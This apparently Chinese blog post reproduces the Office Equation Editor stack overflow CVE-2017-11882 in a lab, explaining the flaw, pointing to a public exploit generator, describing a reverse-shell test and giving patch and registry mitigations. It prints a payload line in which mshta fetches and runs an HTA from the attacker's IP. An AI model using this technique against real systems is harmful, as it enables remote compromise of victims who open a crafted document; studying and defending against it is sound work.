CVE-2017-11882复现
前言
漏洞基本信息 | |
漏洞ID | CVE-2017-11882 |
漏洞名称 | Microsoft Office数学公式编辑器内存损坏漏洞 |
威胁类型 | 远程代码执行 |
漏洞类型 | 栈溢出,位于EQNEDT32.EXE组件中 |
漏洞影响版本 | |
Microsoft Office 2000 Microsoft Office 2003 Microsoft Office 2007 Service Pack 3 Microsoft Office 2010 Service Pack 2 Microsoft Office 2013 Service Pack 1 Microsoft Office 2016 |
利用基础 漏洞出现在模块EQNEDT32.EXE中,该模块为公式编辑器,在Office的安装过程中被默认安装。
利用可能性 该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于WINWORD.EXE, EXCEL.EXE等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。
利用原理 漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。
结果 攻击者可以通过刻意构造的数据内容覆盖掉栈上的函数地址,从而劫持程序流程,可以利用漏洞以当前登录的用户的身份执行任意命令。而且该漏洞没有弹窗,用户感觉不到。
测试 使用Command_CVE-2017-11882.py脚本(https://github.com/Ridter/CVE-2017-11882/)生成漏洞doc文件,执行计算器命令:
文章图片
打开word文档,就会弹出计算器,如图所示,
文章图片
复现过程
测试环境靶机:window 7(192.168.198.131)+Office2013
攻击机:kali linux (192.168.198.141)
生成powershell脚本
文章图片
【CVE-2017-11882复现】
文章图片
这里使用的是43字符限制的脚本(github上还有109字符限制的脚本),因为命令长度的限制,所以使用URIPATH设置路径,使得命令短一点,避免超过43字符。
生成的payload是mshta.exe http://192.168.198.141:8080/123。
说明:hta文件使用的是HTML格式,它的程序代码可以像HTML一样被编辑和检查,hta虽然用HTML、JS和CSS编写,却比普通网页的权限大,具有桌面程序的所有权限(可以读写文件,操作注册表等)。
生成漏洞doc文件 利用mshta执行。
文章图片
打开doc文件,反弹shell
文章图片
文章图片
文章图片
解决方案
修复漏洞 (1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补
(2)开启Windows Update功能,定期对系统进行自动更新
取消该模块的注册 (1)按下Win+R组合键,打开cmd.exe
(2)输入以下两条命令:
reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400
reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400
参考资料
http://mp.weixin.qq.com/s/o3Psnsl8OBmVdkUrvcTLsw
http://www.freebuf.com/vuls/154462.html
推荐阅读
- 由浅入深理解AOP
- android|android studio中ndk的使用
- 斐讯K2|斐讯K2 固件搜集
- 植物能治病的奥秘——植物精气
- 11-代码注入
- linux定时任务contab
- neo4j|neo4j cql语句 快速查询手册
- 构建App(一)(框架与结构)
- 从如何使用到如何实现一个Promise
- C#中类的异常处理详解